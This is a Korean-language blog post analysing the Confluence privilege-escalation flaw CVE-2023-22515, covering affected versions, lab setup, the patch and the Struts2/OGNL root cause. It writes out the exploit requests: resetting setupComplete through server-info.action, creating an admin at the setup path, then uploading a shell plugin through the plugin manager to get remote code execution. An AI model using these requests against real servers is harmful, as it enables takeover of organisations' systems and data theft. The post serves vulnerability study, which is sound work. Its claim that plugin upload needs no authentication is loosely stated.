Confluence 권한 상승 취약점 분석 (CVE-2023-22515)

0x01 취약점 개요

Confluence는 Atlassian이 개발한 기업용 협업 플랫폼입니다. 2023년 10월 Atlassian은 CVE-2023-22515로 명명된 권한 상승 취약점을 공개했습니다. 이 취약점을 악용하면 공격자가 악성 요청을 통해 관리자 계정을 생성하고 시스템에 접근하여 민감한 정보를 유출할 수 있습니다.

다만 Atlassian Cloud 도메인(atlassian.net)에서 호스팅되는 Confluence 인스턴스는 영향을 받지 않습니다.

0x02 영향을 받는 버전

  • 8.0.0 - 8.0.4
  • 8.1.0 - 8.1.4
  • 8.2.0 - 8.2.3
  • 8.3.0 - 8.3.2
  • 8.4.0 - 8.4.2
  • 8.5.0 - 8.5.1

0x03 환경 구성

Confluence 설치 파일은 아래 링크에서 다운로드할 수 있습니다:

샘플 다운로드 링크:

https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.1.zip
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.2.zip

데이터베이스 설정 시 UTF8MB4 인코딩이 필수입니다:

CREATE DATABASE confluence CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;

연결 문자열:

jdbc:mysql://localhost/confluence?sessionVariables=transaction_isolation='READ-COMMITTED'

설치 시 READ-COMMITTED 트랜잭션 격리 수준을 지정해야 합니다.

0x04 취약점 분석

공식 패치 내역을 보면 /setup/* 경로에 대해 보안 제약 조건을 추가했습니다:

<security-constraint>
    <web-resource-collection>
        <url-pattern>/setup/*</url-pattern>
        <http-method-omission>*</http-method-omission>
    </web-resource-collection>
    <auth-constraint />
</security-constraint>

Confluence는 Struts2 기반으로 구축되어 있으며, 이 취약점은 Struts2의 파라미터 처리 방식에서 비롯됩니다. SafeParametersInterceptor 클래스 내부 로직의 문제로 인해 필터링이 우회될 수 있었고, OGNL 표현식을 통해 객체의 getter/setter에 접근할 수 있었습니다.

예를 들어 아래와 같은 요청을 통해 setupComplete 값을 조작할 수 있었습니다:

http://target/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

이후 아래 경로로 접근하여 관리자 계정을 재설정할 수 있습니다:

http://target/setup/setupadministrator-start.action

0x05 권한 상승 후 RCE

Confluence는 플러그인 시스템을 지원하므로, 공격자는 인증 없이 플러그인을 업로드하여 원격 코드 실행을 수행할 수 있습니다:

http://target/plugins/servlet/upm

악성 플러그인 plugin_shellplug.jar를 업로드한 후 다음 경로로 쉘에 접근할 수 있습니다:

http://target/plugins/servlet/com.jsos.shell/ShellServlet

이 기술은 GitHub에서 이미 공개된 도구를 통해 자동화할 수 있습니다:

태그: Confluence CVE-2023-22515 struts2 OGNL rce

8월 31일 12:43에 게시됨